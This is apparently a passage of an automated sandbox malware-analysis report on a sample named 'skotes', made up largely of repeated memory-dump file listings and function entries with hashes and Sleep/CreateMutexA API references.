Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 27983e30a819e205f2111f7ee990a0f1cc43dadb0e9f7bdfe3aafd8d1a0d1816
Instruction ID: 661a0559018d6507f8289fe2bce91090b0a63c49354f27518a5819101e09fffb
Opcode Fuzzy Hash: 27983e30a819e205f2111f7ee990a0f1cc43dadb0e9f7bdfe3aafd8d1a0d1816
Instruction Fuzzy Hash: BD318C316001448BFB08AB78DDC9B6DF7E1DFC5314F20429AE014977D5E7BA59C08752

Function 00BDA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 8c62f5dadcc28011897ebf060cb61445a609ccfae9c974c1b3b4072d693b2322
Instruction ID: 8fa7124de690d7432832bf7d4c3b403388bee21f86a2cca581c9184db0fc395d
Opcode Fuzzy Hash: 8c62f5dadcc28011897ebf060cb61445a609ccfae9c974c1b3b4072d693b2322
Instruction Fuzzy Hash: 72312A316001448BFB08DF78DCC9B6DF7E6EBC5318F24429AE414977E6E77A99808716

Function 00BDA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 08362be70e0f30f103e8a478e25d7e11b7c18c498bf4a1334b7abe8b905a31e2
Instruction ID: cbde2121a9cc148115579c6317f64fcb2ab9c035372a56e13aad8db2a9ca20e5
Opcode Fuzzy Hash: 08362be70e0f30f103e8a478e25d7e11b7c18c498bf4a1334b7abe8b905a31e2
Instruction Fuzzy Hash: 5D3148316001448BFB08DB78DDC9B6DF7F2DBC5314F24829AE014977E2E7BA99808756

Function 00BD9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: da5a1b3be847ed09bded5bd7289915c3b849e1ab1f586f2ba0df8c33ef24ae0c
Instruction ID: 218c9241c53821e0aeee0c2df403385003ad3daf5ff71a5ae254a6f03a593de0
Opcode Fuzzy Hash: da5a1b3be847ed09bded5bd7289915c3b849e1ab1f586f2ba0df8c33ef24ae0c
Instruction Fuzzy Hash: 1E213A316042449BFB189B68ECC972DF7A1EBC1314F20426AF414977E5E77A99808711

Function 00BDA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000003.00000002.2189953955.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000003.00000002.2189931163.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2189953955.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190053283.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190083042.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190109598.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190134944.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190164290.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190332002.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190359366.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190390502.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190412116.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190436081.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190474182.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190489139.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190504469.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190519203.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190539543.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190562376.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190577521.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190597488.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190617201.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190632773.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190649011.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190665401.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190686546.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190703277.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190717961.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190732767.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190750881.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190767382.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190782460.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190801321.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190819556.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190836027.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190851456.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190866029.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190883869.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190899959.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190949058.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190965422.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190983250.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2190998963.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191013778.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191029584.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191050457.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191068741.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2191085824.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 326ef872357d4b92af520e88b9809dd9cbba888d37fcfaff31b68e15b7df4f3b
Instruction ID: 02119f07db4ba30651666657df3ef69eed290125a6707b035e6747c1e552517e
Opcode Fuzzy Hash: 326ef872357d4b92af520e88b9809dd9cbba888d37fcfaff31b68e15b7df4f3b
